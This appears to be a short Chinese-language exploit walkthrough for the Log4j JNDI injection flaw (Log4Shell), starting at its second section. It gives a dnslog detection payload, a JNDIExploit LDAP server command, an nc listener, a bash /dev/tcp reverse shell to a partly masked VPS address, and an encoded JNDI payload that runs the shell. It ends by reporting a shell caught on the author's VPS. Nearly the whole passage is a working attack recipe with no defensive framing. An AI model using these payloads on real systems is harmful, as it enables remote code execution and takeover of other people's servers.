二、漏洞复现
2.1 使用DNLOG平台查看回显
可以使用相关的dnslog平台查看，也可以使用burp自带的dnslog进行查看，我这里使用的是 http://dnslog.cn/
${jndi:ldap://rbmanr.dnslog.cn/exp} 有回显，说明存在该漏洞
2.2 反弹shell
1、首先起一个ldap服务，IP为接收shell的地址。
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 139.198.xx.xx
2、在VPS上开启NC监听
nc -lvvp 1000
3、使用bash命令反弹shell
bash -i >& /dev/tcp/139.198.xx.xx/1000 0>&1 //，这里需要先base64编码，然后再进行两次url编码。
${jndi:ldap://VPSIP:1389/TomcatBypass/Command/Base64/YmFzaCAtaSsfqwA%252BJiAvzkuMTk4LjEyNS45OSgas85OTk5IDA%252BJjE%253D}
成功反弹shell到我们的VPS上